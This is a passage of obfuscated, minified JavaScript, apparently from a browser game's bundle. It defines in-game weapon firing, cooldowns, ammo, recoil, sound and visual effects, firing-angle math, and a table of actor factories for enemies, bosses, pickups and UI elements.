0xcaa: (_0x2ba719, _0x16097b, _0x39f9b2) => { 'use strict'; Object['defineProperty'](_0x16097b, '__esModule', { 'value': !0x0 }), _0x16097b['WeaponFireController'] = void 0x0; const _0x32f361 = _0x39f9b2(0x1520), _0x46bdb4 = _0x39f9b2(0x1832), _0x18bf3e = _0x39f9b2(0x1805), _0x42201f = _0x39f9b2(0x959), _0x2ab9fa = _0x39f9b2(0x1b39); class _0xef8f27 extends _0x32f361['ComponentController']{ constructor(_0x53509b) { super(_0x53509b); } ['init']() { this['store']['subscribe']('stunTimeMS', ({ oldValue: _0x52cf7e, newValue: _0x3ba855 }) => this['updateStun'](_0x52cf7e, _0x3ba855)), this['messageBus']['subscribe'](this, 'cancelAttack', () => this['interruptWeapon']()), this['store']['subscribe']('hp', ({ oldValue: _0x2f3bbe, newValue: _0x4f75cd }) => { _0x4f75cd <= 0x0 && this['interruptWeapon'](); }); } ['update'](_0x141414) { if (this['store']['get']('hp') <= 0x0) return; if (this['store']['get']('stunTimeMS') > 0x0) return; const _0x3b887b = this['store']['get']('playerActorState'); _0x3b887b && _0x3b887b !== _0x18bf3e['EPlayerActorState']['PLAYER_CONTROL'] || (this['updateWeapon'](_0x141414), this['updateAttackSequenceDuration'](_0x141414), this['updateLockoutsDuration'](_0x141414)); } ['selectNewWeapon'](_0x126692) { this['resetWeapon'](), this['store']['update']('currentWeaponName', _0x126692); } ['isTriggerPressed'](_0x22df15) { if (!_0x22df15) return !0x1; const _0xc878f9 = this['store']['get']('weapons')[_0x22df15]; if (_0xc878f9['customTriggerFunction']) return _0xc878f9['customTriggerFunction'](this['store']); const _0x11b662 = this['store']['get']('actionControlsState'), _0x1ffdc6 = _0xc878f9['triggerKeys']?.['every'](_0x23ebbe => _0x11b662[_0x23ebbe]), _0x17dda2 = _0xc878f9['triggerBannedKeys']?.['some'](_0x3192bb => _0x11b662[_0x3192bb]); return !(!_0x1ffdc6 || _0x17dda2) && !this['isWeaponRestricted'](this['getWeaponConfig'](_0x22df15), _0x22df15); } ['updateWeapon'](_0x4fa3cb) { switch (this['store']['get']('weaponActivityState')) { case 'IDLE': this['updateIdle'](_0x4fa3cb); break; case 'OPERATING': this['updateOperating'](_0x4fa3cb); break; case 'TRIGGER_RELEASE_WAIT': this['updateTriggerReleaseWait'](_0x4fa3cb); break; case 'COOLDOWN': this['updateGlobalCooldown'](_0x4fa3cb); } } ['updateAttackSequenceDuration'](_0x4af889) { const _0x370d18 = this['store']['get']('timeLeftToResetSequenceMS'); if (_0x370d18 < 0x0) return; const _0x3b8e9d = Math['max'](_0x370d18 - 0x3e8 * _0x4af889, 0x0); this['store']['update']('timeLeftToResetSequenceMS', _0x3b8e9d); const _0x399ecd = 'IDLE' === this['store']['get']('weaponActivityState'); -0x1 !== _0x3b8e9d && _0x3b8e9d <= 0x0 && _0x399ecd && (this['resetWeapon'](), this['store']['update']('weaponActivityState', 'IDLE'), this['store']['update']('timeLeftToResetSequenceMS', -0x1)); } ['updateLockoutsDuration'](_0x53460a) { const _0x20b518 = this['store']['get']('movementLockoutLeftMS'); _0x20b518 >= 0x0 && this['store']['update']('movementLockoutLeftMS', Math['max'](_0x20b518 - 0x3e8 * _0x53460a, 0x0)); const _0x55a715 = this['store']['get']('rotationLockoutLeftMS'); _0x55a715 >= 0x0 && this['store']['update']('rotationLockoutLeftMS', Math['max'](_0x55a715 - 0x3e8 * _0x53460a, 0x0)); } ['resetWeapon']() { this['store']['update']('currentPhaseIndex', 0x0), this['store']['update']('currentWeaponName', null), this['store']['update']('timeLeftToResetSequenceMS', 0x1 / 0x0), this['destroyBeamProjectiles'](); } ['destroyBeamProjectiles']() { this['gameContext']['queryActors']([_0x46bdb4['EActorTag']['PLAYER_PROJECTILE'], _0x46bdb4['EActorTag']['ENEMY_PROJECTILE']])['forEach'](_0x529969 => { const _0x2e2d49 = _0x529969['getConfig'](); _0x2e2d49['ownerActor'] === this['actor'] && _0x2e2d49['projectileConfig']['isBeam'] && _0x529969['destroy'](); }); } ['getTriggeredWeapon']() { return Object['keys'](this['store']['get']('weapons'))['find'](_0x1d2351 => this['isTriggerPressed'](_0x1d2351)); } ['updateIdle'](_0x39f7c8) { this['updateWeaponsCooldownsDurations'](_0x39f7c8); const _0x6db80f = this['getTriggeredWeapon'](); if (!_0x6db80f) return; _0x6db80f !== this['store']['get']('currentWeaponName') && this['selectNewWeapon'](_0x6db80f); const _0x53f833 = this['getWeaponConfig'](_0x6db80f), _0x2900ae = this['hasEnoughAmmo'](_0x53f833), _0x2c068c = this['store']['get']('weaponCooldownsLeftMS')[_0x6db80f]; _0x2900ae && !_0x2c068c && (this['subtractAmmo'](_0x53f833), this['store']['update']('weaponActivityState', 'OPERATING'), this['attackPhaseStarts'](_0x6db80f, this['store']['get']('currentPhaseIndex')), this['updateOperating'](_0x39f7c8)); } ['attackPhaseStarts'](_0x3a0453, _0x300df8) { const _0x506605 = this['getWeaponConfig'](_0x3a0453), _0x3a4323 = _0x506605['attackConfigs'][_0x300df8]; this['store']['update']('currentPhaseDurationLeftMS', _0x3a4323['phaseDurationMS'] ?? 0x0), this['store']['update']('firingCooldownLeftMS', 0x0), _0x3a4323['movementLockoutMS'] && (_0x3a4323['lockMovementOnGroundOnly'] ? this['store']['get']('isGrounded') && this['store']['update']('movementLockoutLeftMS', _0x3a4323['movementLockoutMS'] ?? 0x0) : this['store']['update']('movementLockoutLeftMS', _0x3a4323['movementLockoutMS'] ?? 0x0)), _0x3a4323['rotationLockoutMS'] && (_0x3a4323['lockRotationOnGroundOnly'] ? this['store']['get']('isGrounded') && this['store']['update']('rotationLockoutLeftMS', _0x3a4323['rotationLockoutMS'] ?? 0x0) : this['store']['update']('rotationLockoutLeftMS', _0x3a4323['rotationLockoutMS'] ?? 0x0)), this['messageBus']['publish']('attackPhaseStarts', { 'name': _0x3a0453, 'weaponConfig': _0x506605, 'attackConfig': _0x3a4323 }); } ['updateOperating'](_0x47ba75) { const _0x16dab9 = this['store']['get']('currentWeaponName'); if (!_0x16dab9) throw new Error('updateOperating\x20cannot\x20be\x20called\x20without\x20a\x20weapon\x20selected'); const _0x2f3193 = this['getWeaponConfig'](_0x16dab9), _0x48ce75 = _0x2f3193['attackConfigs'][this['store']['get']('currentPhaseIndex')]; this['updateFiringPointLookDirections'](_0x48ce75), (this['store']['get']('firingCooldownLeftMS') <= 0x0 && (this['messageBus']['publish']('startAttack', { 'name': _0x16dab9, 'weaponConfig': _0x2f3193, 'attackConfig': _0x48ce75 }), this['store']['update']('firingCooldownLeftMS', _0x48ce75['firingCooldownMS'] ?? 0x0), this['store']['update']('timeLeftToResetSequenceMS', _0x2f3193['attackSequenceResetMS'] ?? 0x1 / 0x0)), this['store']['get']('currentPhaseDurationLeftMS') <= 0x0 && (this['destroyBeamProjectiles'](), this['completeAttackPhase'](_0x47ba75), this['messageBus']['publish']('attackPhaseEnds', { 'name': _0x16dab9, 'weaponConfig': _0x2f3193, 'attackConfig': _0x48ce75 })), this['updateFiringCooldownDuration'](_0x47ba75), this['updatePhaseDuration'](_0x47ba75)); } ['completeAttackPhase'](_0x670a38) { const _0x392267 = this['store']['get']('currentPhaseIndex'), _0x222515 = this['store']['get']('currentWeaponName'); if (!_0x222515) throw new Error('Complete\x20attack\x20cannot\x20be\x20called\x20without\x20a\x20weapon\x20selected'); const _0x28b2ef = this['getWeaponConfig'](_0x222515)['attackConfigs'][_0x392267]['continueIntoNextPhase'], _0x2bfa61 = this['getNextAttackIndex'](); this['store']['update']('currentPhaseIndex', _0x2bfa61), this['messageBus']['publish']('weaponSuccessfullyFired', _0x222515), _0x28b2ef && 0x0 !== _0x2bfa61 ? this['attackPhaseStarts'](_0x222515, this['store']['get']('currentPhaseIndex')) : (this['store']['update']('weaponActivityState', 'TRIGGER_RELEASE_WAIT'), this['updateTriggerReleaseWait'](_0x670a38)); } ['updateTriggerReleaseWait'](_0x4a188e) { const _0xe266c0 = this['store']['get']('currentWeaponName'); if (!_0xe266c0) throw new Error('updateOperating\x20cannot\x20be\x20called\x20without\x20a\x20weapon\x20selected'); const _0x4a04f4 = this['getWeaponConfig'](_0xe266c0); if (_0x4a04f4['autoFire']) return void this['selectNewStateAfterAttackComplete'](_0x4a188e, _0x4a04f4); this['getTriggeredWeapon']() !== _0xe266c0 && this['selectNewStateAfterAttackComplete'](_0x4a188e, _0x4a04f4); } ['selectNewStateAfterAttackComplete'](_0x2daadc, _0x41ebd3) { 0x0 === this['store']['get']('currentPhaseIndex') ? (this['messageBus']['publish']('attackSequenceComplete', { 'weaponName': this['store']['get']('currentWeaponName') }), this['startCooldowns'](_0x41ebd3), this['resetWeapon'](), this['updateGlobalCooldown'](_0x2daadc)) : this['startIdle'](_0x2daadc); } ['startIdle'](_0x341654) { this['store']['update']('weaponActivityState', 'IDLE'), this['updateIdle'](_0x341654); } ['startCooldowns'](_0x76023c, _0x33777d) { this['store']['update']('globalWeaponCooldownLeftMS', (_0x33777d ?? 0x0) + (_0x76023c['globalWeaponCooldownMS'] ?? 0x0)); const _0x2c50b0 = this['store']['get']('currentWeaponName'); null !== _0x2c50b0 && (this['store']['get']('weaponCooldownsLeftMS')[_0x2c50b0] = _0x76023c['weaponCooldownMS'] ?? 0x0), this['store']['update']('weaponActivityState', 'COOLDOWN'); } ['updateGlobalCooldown'](_0xb73d2c) { this['updateGlobalWeaponCooldownDuration'](_0xb73d2c), this['updateWeaponsCooldownsDurations'](_0xb73d2c), this['store']['get']('globalWeaponCooldownLeftMS') > 0x0 || (this['store']['update']('weaponActivityState', 'IDLE'), this['updateIdle'](_0xb73d2c)); } ['updateWeaponsCooldownsDurations'](_0x9d34b8) { const _0x3f3571 = this['store']['get']('weaponCooldownsLeftMS'); Object['entries'](_0x3f3571)['forEach'](([_0x20f81d, _0x585b51]) => { _0x3f3571[_0x20f81d] = Math['max'](_0x585b51 - 0x3e8 * _0x9d34b8, 0x0), _0x3f3571[_0x20f81d] <= 0x0 && delete _0x3f3571[_0x20f81d]; }), this['store']['update']('weaponCooldownsLeftMS', _0x3f3571); } ['updateGlobalWeaponCooldownDuration'](_0x31a1d2) { const _0x576afc = this['store']['get']('globalWeaponCooldownLeftMS'); _0x576afc >= 0x0 && this['store']['update']('globalWeaponCooldownLeftMS', Math['max'](_0x576afc - 0x3e8 * _0x31a1d2, 0x0)); } ['updateFiringCooldownDuration'](_0x2996cd) { const _0x181247 = this['store']['get']('firingCooldownLeftMS'); _0x181247 >= 0x0 && this['store']['update']('firingCooldownLeftMS', Math['max'](_0x181247 - 0x3e8 * _0x2996cd, 0x0)); } ['updatePhaseDuration'](_0x5458a3) { const _0x1b9d17 = this['store']['get']('currentPhaseDurationLeftMS'); if (_0x1b9d17 >= 0x0) { const _0x50b393 = Math['max'](_0x1b9d17 - 0x3e8 * _0x5458a3, 0x0); this['store']['update']('currentPhaseDurationLeftMS', _0x50b393); } } ['getNextAttackIndex']() { const _0x37ef97 = this['store']['get']('currentPhaseIndex'), _0x317442 = this['store']['get']('currentWeaponName'); if (!_0x317442) throw new Error('Complete\x20attack\x20cannot\x20be\x20called\x20without\x20a\x20weapon\x20selected'); let _0x220f77 = _0x37ef97 + 0x1; return _0x220f77 >= this['getWeaponConfig'](_0x317442)['attackConfigs']['length'] && (_0x220f77 = 0x0), _0x220f77; } ['getWeaponConfig'](_0x1b0b00) { return this['gameContext']['getWeaponConfig'](_0x1b0b00); } ['updateStun'](_0x37bf49, _0x5921bc) { _0x5921bc < _0x37bf49 || this['interruptWeapon'](_0x5921bc); } ['hasEnoughAmmo'](_0x2096f0) { if (!_0x2096f0['requiresAmmo']) return !0x0; const _0x43514e = this['store']['get']('ammo'); if (!_0x43514e) return !0x1; const _0x204290 = _0x43514e[_0x2096f0['requiresAmmo']['ammoName']]['current'], _0x115777 = _0x2096f0['requiresAmmo']['ammoPerAttack']; return !(!_0x204290 || _0x204290 < _0x115777); } ['subtractAmmo'](_0x2be7d9) { if (!_0x2be7d9['requiresAmmo']) return; const _0xc704e = { ...this['store']['get']('ammo') }; if (!_0xc704e) return; const _0x1f7272 = _0xc704e[_0x2be7d9['requiresAmmo']['ammoName']]['current'], _0x283f62 = _0x2be7d9['requiresAmmo']['ammoPerAttack'], _0x1e166c = _0xc704e[_0x2be7d9['requiresAmmo']['ammoName']]; _0x1e166c['current'] = _0x1f7272 - _0x283f62, _0x1e166c['timeLeftToRechargeAmmoMS'] = _0x2be7d9['requiresAmmo']['rechargeTimeMS'] ?? 0x0, this['store']['update']('ammo', _0xc704e); } ['interruptWeapon'](_0x5c133c) { const _0x486495 = this['store']['get']('currentWeaponName'); if (!_0x486495) return; const _0x50e343 = this['getWeaponConfig'](_0x486495); this['startCooldowns'](_0x50e343, _0x5c133c), this['resetWeapon'](); } ['isWeaponRestricted'](_0x7ac638, _0x3b6780) { return !!_0x7ac638['restrictions']?.['some'](_0x5f0015 => { const _0x2bd251 = _0x5f0015['startsWith']('!'), _0x47c5d1 = this['store']['get']('currentWeaponRestrictions'); if (_0x2bd251) return !_0x47c5d1['includes'](_0x5f0015['slice'](0x1)); return _0x47c5d1['includes'](_0x5f0015); }); } ['updateFiringPointLookDirections'](_0xf4fc4f) { if (!_0xf4fc4f['attackFiringPointConfigs']) return; const _0x177042 = {}, _0x456651 = this['store']['get']('lookDirection'), _0x376e35 = this['getClosestTarget'](); if (_0xf4fc4f['convergeOnTarget'] && !_0x376e35) return; const _0x4b58e3 = _0x376e35?.['getFromStore']('physicsPosition') ?? { 'x': 0x0, 'y': 0x0 }, _0x3a8c5c = this['store']['get']('physicsPosition'), _0x242b6c = (0x0, _0x2ab9fa['distanceBetweenVectors'])(_0x3a8c5c, _0x4b58e3); Object['keys'](_0xf4fc4f['attackFiringPointConfigs'])['forEach'](_0x225ae9 => { if (_0xf4fc4f['convergeOnTarget']) { const _0x3e6bd0 = _0xf4fc4f['attackFiringPointConfigs'][_0x225ae9]['attackDirectionOffset'] ?? 0x0; _0x177042[_0x225ae9] = (0x0, _0x42201f['getFiringPointFiringAngle'])({ 'lookDirection': _0x456651, 'lookDirectionConvergenceDistance': _0x242b6c, 'attackConfig': _0xf4fc4f, 'attackDirectionOffset': _0x3e6bd0, 'firingPointConfig': this['config']['firingPoints'][_0x225ae9] }); } else _0x177042[_0x225ae9] = _0x456651; }), this['store']['update']('firingPointLookDirections', _0x177042); } ['getClosestTarget']() { return this['store']['get']('targetActorHandles')['filter'](_0xcc7a80 => _0xcc7a80['getFromStore']('renderPosition'))[0x0]; } } _0x16097b['WeaponFireController'] = _0xef8f27; }, 0xa1: (_0x5b99d4, _0x482b4c, _0x3ee73b) => { 'use strict'; Object['defineProperty'](_0x482b4c, '__esModule', { 'value': !0x0 }), _0x482b4c['WeaponFireEffectController'] = void 0x0; const _0x342a5b = _0x3ee73b(0x221b), _0x2fd897 = _0x3ee73b(0x1520), _0x4fa05f = _0x3ee73b(0x2347), _0x1d7ece = _0x3ee73b(0x959); class _0x522d80 extends _0x2fd897['ComponentController']{ constructor(_0x299808) { super(_0x299808); } ['init']() { this['messageBus']['subscribe'](this, 'fireWeaponPoint', _0x54c1dc => { this['maybeRenderFlashAndScreenShake'](_0x54c1dc['attackConfig']['flash'], _0x54c1dc['attackConfig']['screenShake']), _0x54c1dc['attackConfig']['renderFireEffectForAllProjectiles'] || this['renderAnimations'](_0x54c1dc); }), this['messageBus']['subscribe'](this, 'fireProjectile', _0x59cacb => { _0x59cacb['attackConfig']['renderFireEffectForAllProjectiles'] && this['renderAnimations'](_0x59cacb); }); } ['renderAnimations'](_0x59005a) { const _0x2274f3 = _0x59005a['attackConfig']; if (_0x2274f3['fireEffectAnimation'] && 0x0 !== _0x2274f3['fireEffectAnimation']['length']) { if (_0x2274f3['useAllFireEffectAnimations'] && Array['isArray'](_0x2274f3['fireEffectAnimation'])) this['renderAllAnimations'](_0x59005a); else { const _0x52e72d = this['gameContext']['rngProvider']['getRandomElement'](_0x342a5b['EProviderContext']['FRONTEND_ONLY'], _0x2274f3['fireEffectAnimation']); this['renderOneAnimation'](_0x59005a, _0x52e72d); } } } ['getAnimationConfig'](_0x1476d5) { return this['gameContext']['getAnimationConfig'](_0x1476d5); } ['renderOneAnimation'](_0x56356a, _0x4b6b81) { const _0xd62872 = { ...this['getAnimationConfig'](_0x4b6b81), 'followActorPosition': !_0x56356a['attackConfig']['keepFireEffectInitialPosition'], 'direction': _0x56356a['firingDirection'] }; _0xd62872['renderPositionFunction'] = () => this['getAnimationRenderPosition'](this['config']['firingPoints'][_0x56356a['firingPointName']]), this['component']['createSpriteEffect'](_0xd62872); } ['renderAllAnimations'](_0x282c4) { _0x282c4['attackConfig']['fireEffectAnimation']['forEach'](_0x4a660b => { this['renderOneAnimation'](_0x282c4, _0x4a660b); }); } ['maybeRenderFlashAndScreenShake'](_0x45d121, _0x43b74a) { const _0x4567b4 = this['store']['get']('renderPosition'); _0x45d121 && this['gameMessageBus']['publish']('requestFlash', { 'config': _0x45d121, 'position': _0x4567b4 }), _0x43b74a && this['gameMessageBus']['publish']('requestScreenShake', { 'config': _0x43b74a, 'position': _0x4567b4 }); } ['getAnimationRenderPosition'](_0x28881b) { const _0x7b61 = this['store']['get']('physicsPosition'); return (0x0, _0x4fa05f['physicsVector2RenderVector'])((0x0, _0x1d7ece['getFiringPosition'])(this['store']['get']('lookDirection'), _0x7b61, _0x28881b)); } } _0x482b4c['WeaponFireEffectController'] = _0x522d80; }, 0x2420: (_0x4ceace, _0xc22ee2, _0x1e0f3e) => { 'use strict'; Object['defineProperty'](_0xc22ee2, '__esModule', { 'value': !0x0 }), _0xc22ee2['WeaponManagementComponent'] = void 0x0; const _0x9597cd = _0x1e0f3e(0x2414); class _0x481928 extends _0x9597cd['ActorComponent']{ ['addWeaponGroup'](_0x217115, _0x69f4b1) { const _0x96e34e = this['gameContext']['getWeaponGroupConfig'](_0x217115); if (!_0x96e34e) throw new Error('Weapon\x20group\x20' + _0x217115 + '\x20not\x20found'); const _0x3aa39e = { ...this['store']['get']('weapons') }; _0x96e34e['weapons']['forEach'](_0x2301ba => { _0x3aa39e[_0x2301ba] = { 'triggerKeys': _0x69f4b1 ? [_0x69f4b1] : [] }; }), this['store']['update']('weapons', _0x3aa39e); } ['removeWeaponGroup'](_0xe16315) { const _0x26e365 = this['gameContext']['getWeaponGroupConfig'](_0xe16315); if (!_0x26e365) throw new Error('Weapon\x20group\x20' + _0xe16315 + '\x20not\x20found'); const _0x4bb0a6 = { ...this['store']['get']('weapons') }; _0x26e365['weapons']['forEach'](_0x173c78 => { delete _0x4bb0a6[_0x173c78]; }), this['store']['update']('weapons', _0x4bb0a6); } } _0xc22ee2['WeaponManagementComponent'] = _0x481928; }, 0x1a57: (_0x2c35fc, _0x335a1e) => { 'use strict'; Object['defineProperty'](_0x335a1e, '__esModule', { 'value': !0x0 }), _0x335a1e['weaponModel'] = void 0x0, _0x335a1e['weaponModel'] = { 'weapons': {}, 'currentWeaponName': null, 'weaponActivityState': 'IDLE', 'currentPhaseIndex': 0x0, 'currentWeaponRestrictions': [], 'globalWeaponCooldownLeftMS': 0x0, 'firingPointLookDirections': {}, 'weaponCooldownsLeftMS': {}, 'movementLockoutLeftMS': 0x0, 'rotationLockoutLeftMS': 0x0, 'timeLeftToResetSequenceMS': -0x1, 'currentPhaseDurationLeftMS': 0x0, 'firingCooldownLeftMS': 0x0, 'appliedRecoilOnHit': void 0x0, 'absoluteSpinFiringAngle': 0x0, 'ammo': {} }; }, 0x81: (_0xfdd359, _0x1c1234, _0x3635e6) => { 'use strict'; Object['defineProperty'](_0x1c1234, '__esModule', { 'value': !0x0 }), _0x1c1234['WeaponRecoilController'] = void 0x0; const _0x543a4c = _0x3635e6(0x1520), _0xb7624a = _0x3635e6(0x18e5), _0x532123 = _0x3635e6(0x13e1); class _0x591ffe extends _0x543a4c['ComponentController']{ ['init']() { this['messageBus']['subscribe'](this, 'fireWeaponPoint', _0x2ab812 => { this['maybeApplyRecoilOnFire'](_0x2ab812); }), this['messageBus']['subscribe'](this, 'recoilOnHit', _0xe4ddf7 => this['maybeApplyRecoilOnHit'](_0xe4ddf7)); } ['maybeApplyRecoilOnFire'](_0x4bef2c) { const _0x2589f1 = _0x4bef2c['attackConfig']; if (!_0x2589f1['recoil']) return; const _0xd240b1 = this['store']['get']('isGrounded') ? -_0x2589f1['recoil'] : -_0x2589f1['recoil'] * _0x532123['NON_GROUNDED_IMPULSE_SCALE'], _0x256ac6 = _0x4bef2c['firingDirection'] * (0x1 - (_0x2589f1['recoilUpwardSkew'] ?? 0x0)), _0x456089 = { 'x': Math['sin'](_0x256ac6), 'y': -Math['cos'](_0x256ac6) }, _0x4d47ea = (0x0, _0xb7624a['scale'])(_0x456089, _0xd240b1); _0x4d47ea['y'] = _0x4d47ea['y'] * _0x532123['VERTICAL_IMPULSE_SCALE'], this['component']['get']()['applyImpulse'](_0x4d47ea, !0x0), this['messageBus']['publish']('appliedExternalSourceImpulse'); } ['maybeApplyRecoilOnHit'](_0x1a21c5) { const _0x1aaaa2 = this['store']['get']('appliedRecoilOnHit'); if (_0x1aaaa2) { if ((_0x1aaaa2['collisionData']['collider1'] === _0x1aaaa2['targetCollider'] ? _0x1aaaa2['collisionData']['actor2'] : _0x1aaaa2['collisionData']['actor1']) === (_0x1a21c5['collisionData']['collider1'] === _0x1a21c5['targetCollider'] ? _0x1a21c5['collisionData']['actor2'] : _0x1a21c5['collisionData']['actor1'])) return; } const _0x4d5980 = this['component']['body']; _0x4d5980['setLinvel']({ 'x': _0x4d5980['linvel']()['x'], 'y': 0x0 }, !0x0), _0x4d5980['applyImpulse'](_0x1a21c5['impulse'], !0x0), this['messageBus']['publish']('appliedExternalSourceImpulse'), this['store']['update']('appliedRecoilOnHit', _0x1a21c5); } } _0x1c1234['WeaponRecoilController'] = _0x591ffe; }, 0x2287: (_0x37fcef, _0x1f6fe4, _0x4d9ee8) => { 'use strict'; Object['defineProperty'](_0x1f6fe4, '__esModule', { 'value': !0x0 }), _0x1f6fe4['WeaponSoundController'] = void 0x0; const _0x3f985c = _0x4d9ee8(0x1520); class _0x1c69d2 extends _0x3f985c['ComponentController']{ ['init']() { this['messageBus']['subscribe'](this, 'attackPhaseStarts', _0x580a72 => { this['maybeCancelCurrentSounds'](_0x580a72), _0x580a72['attackConfig']['phaseStartSound'] && this['playSound'](_0x580a72['attackConfig']['phaseStartSound']); }), this['messageBus']['subscribe'](this, 'fireWeapon', _0x52392a => { this['maybeCancelCurrentSounds'](_0x52392a), _0x52392a['attackConfig']['fireSound'] && this['playSound'](_0x52392a['attackConfig']['fireSound']); }); } ['playSound'](_0x298fe5) { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x298fe5['name'], 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'], 'parameters': _0x298fe5['parameters'] }, 'getPosition': () => this['store']['get']('renderPosition') }); } ['maybeCancelCurrentSounds'](_0x4032ed) { _0x4032ed['attackConfig']['stopPreviousSounds'] && this['gameMessageBus']['publish']('requestStopSoundsByGroupName', { 'groupName': this['actor']['id'] }); } } _0x1f6fe4['WeaponSoundController'] = _0x1c69d2; }, 0x959: function (_0x14db24, _0x42fcf1, _0x460c2f) { 'use strict'; var _0x77c1fd = this && this['__importDefault'] || function (_0xb42a39) { return _0xb42a39 && _0xb42a39['__esModule'] ? _0xb42a39 : { 'default': _0xb42a39 }; }; Object['defineProperty'](_0x42fcf1, '__esModule', { 'value': !0x0 }), _0x42fcf1['getFiringPointFiringAngle'] = _0x42fcf1['rotateVectorTo'] = _0x42fcf1['getFiringPosition'] = _0x42fcf1['getFiringPointAngle'] = void 0x0; const _0xbf3fb8 = _0x77c1fd(_0x460c2f(0x1b39)), _0x5c6747 = _0x460c2f(0x18e5); function _0x2d27eb(_0x422be6, _0x5f4141) { const _0x3bea02 = _0x422be6 < 0x0, _0x5244d8 = _0x5f4141['directionUsesFacingDirection'] ? _0xbf3fb8['default']['degToRad'](_0x5f4141['directionOffset'] ?? 0x0) * (_0x3bea02 ? -0x1 : 0x1) : _0xbf3fb8['default']['degToRad'](_0x5f4141['directionOffset'] ?? 0x0); let _0x3188d0 = 0x0; return 'USE_LOOK_DIRECTION' === _0x5f4141['directionType'] ? _0x3188d0 = _0x422be6 + _0x5244d8 : 'ABSOLUTE' === _0x5f4141['directionType'] && (_0x3188d0 = _0x5244d8), _0x3188d0; } function _0x509387(_0x167c9d, _0x1775b9) { const _0x11eb50 = Math['PI'] / 0x2 - _0x1775b9 - Math['atan2'](_0x167c9d['y'], _0x167c9d['x']), _0xc993f6 = _0x167c9d['x'] * Math['cos'](_0x11eb50) - _0x167c9d['y'] * Math['sin'](_0x11eb50), _0x44207f = _0x167c9d['x'] * Math['sin'](_0x11eb50) + _0x167c9d['y'] * Math['cos'](_0x11eb50); return new _0x5c6747['Vector'](_0xc993f6, -_0x44207f); } _0x42fcf1['getFiringPointAngle'] = _0x2d27eb, _0x42fcf1['getFiringPosition'] = function (_0x200fbb, _0x2351f5, _0xaa8df5) { const _0x11db01 = _0xaa8df5['distanceFromCenter'], _0x31282a = _0x2d27eb(_0x200fbb, _0xaa8df5), _0x26cb17 = _0x509387(new _0x5c6747['Vector'](0x0, _0x11db01), _0x31282a); return _0x26cb17['x'] += _0x2351f5['x'], _0x26cb17['y'] += _0x2351f5['y'], _0x26cb17; }, _0x42fcf1['rotateVectorTo'] = _0x509387, _0x42fcf1['getFiringPointFiringAngle'] = function (_0x4f17d6) { const _0x499535 = _0x4f17d6['lookDirection'] < 0x0, _0xfab1f9 = _0x4f17d6['attackConfig']['directionType'] ?? 'USE_LOOK_DIRECTION'; let _0x425b3f; if ('USE_LOOK_DIRECTION' === _0xfab1f9) { const _0x2f4d2e = _0x4f17d6['firingPointConfig']['distanceFromCenter'], _0x4cd9d3 = _0x2d27eb(_0x4f17d6['lookDirection'], _0x4f17d6['firingPointConfig']), _0x18cb64 = _0x509387(new _0x5c6747['Vector'](0x0, _0x2f4d2e), _0x4cd9d3); if (_0x425b3f = _0x4f17d6['lookDirection'], isFinite(_0x4f17d6['lookDirectionConvergenceDistance']) && _0x4f17d6['lookDirectionConvergenceDistance'] > 0x0) { const _0x31316b = Math['cos'](_0x4f17d6['lookDirection'] - Math['PI'] / 0x2), _0x4d3501 = Math['sin'](_0x4f17d6['lookDirection'] - Math['PI'] / 0x2), _0x41dae8 = _0x31316b * _0x4f17d6['lookDirectionConvergenceDistance'], _0x52a802 = _0x4d3501 * _0x4f17d6['lookDirectionConvergenceDistance'], _0x8ecb10 = _0x41dae8 - _0x18cb64['x'], _0x504a9d = _0x52a802 - _0x18cb64['y']; _0x425b3f = Math['atan2'](_0x504a9d, _0x8ecb10) + Math['PI'] / 0x2; } _0x425b3f += _0x4f17d6['attackConfig']['directionUsesFacingDirection'] ? _0xbf3fb8['default']['degToRad'](_0x4f17d6['attackDirectionOffset'] ?? 0x0) * (_0x499535 ? -0x1 : 0x1) : _0xbf3fb8['default']['degToRad'](_0x4f17d6['attackDirectionOffset'] ?? 0x0); } else { if ('ABSOLUTE' !== _0xfab1f9) throw new Error('Unknown\x20direction\x20type:\x20' + _0xfab1f9); _0x425b3f = _0xbf3fb8['default']['degToRad'](_0x4f17d6['attackDirectionOffset'] ?? 0x0); } return _0x425b3f; }; }, 0x2f5: (_0x4c6fba, _0x316338, _0x27dccc) => { 'use strict'; Object['defineProperty'](_0x316338, '__esModule', { 'value': !0x0 }), _0x316338['UI_ACTOR_MAP'] = _0x316338['GAMEPLAY_ACTOR_MAP'] = void 0x0; const _0x508c58 = _0x27dccc(0x1d65), _0x395597 = _0x27dccc(0x1186), _0x42ea11 = _0x27dccc(0x1e04), _0x302559 = _0x27dccc(0x182), _0xa4f45a = _0x27dccc(0x1450), _0x5a7fcb = _0x27dccc(0x39e), _0x1b7fce = _0x27dccc(0xda8), _0x100d9a = _0x27dccc(0x1d68), _0x24b15c = _0x27dccc(0x202e), _0x78db51 = _0x27dccc(0xb5c), _0x1f9bb9 = _0x27dccc(0xd6e), _0x2ef1cb = _0x27dccc(0x1a31), _0x2eb02b = _0x27dccc(0xc01), _0x47633d = _0x27dccc(0x238e), _0x1f2398 = _0x27dccc(0x16ba), _0x2a485d = _0x27dccc(0x105c), _0x1d919e = _0x27dccc(0xa3f), _0xa7490e = _0x27dccc(0x1723), _0x302cfc = _0x27dccc(0x158f), _0x3f8657 = _0x27dccc(0x578), _0x479e71 = _0x27dccc(0xbd6), _0x3c0b93 = _0x27dccc(0x8a1); _0x316338['GAMEPLAY_ACTOR_MAP'] = { 'enemy': _0x395597['createEnemyActor'], 'boss': _0x1b7fce['createBossActor'], 'chunk': _0x42ea11['createChunkActor'], 'player': _0x508c58['createPlayerActor'], 'projectile': _0x302559['createProjectileActor'], 'pickup': _0xa4f45a['createPickupActor'], 'pickupSpawner': _0x47633d['createPickupSpawnerActor'], 'mapLight': _0x5a7fcb['createMapLightActor'], 'mapUtility': _0x100d9a['createMapUtilityActor'], 'mapObject': _0x1f2398['createMapObjectActor'], 'portal': _0x24b15c['createPortalActor'], 'jumppad': _0x78db51['createJumppadActor'], 'delayedSpawn': _0x2a485d['createDelayedSpawnActor'], 'spawnzone': _0x1d919e['createSpawnzoneActor'], 'gate': _0xa7490e['createGateActor'], 'areaSensor': _0x302cfc['createAreaSensorActor'], 'textMapActor': _0x3f8657['createTextMapActor'], 'npc': _0x479e71['createNpcActor'], 'spawnPoint': _0x3c0b93['createSpawnPointActor'] }, _0x316338['UI_ACTOR_MAP'] = { 'uiSegmentedBar': _0x1f9bb9['createSegmentedBarActor'], 'uiContinuousBar': _0x2ef1cb['createContinuousBarActor'], 'uiCircularCounter': 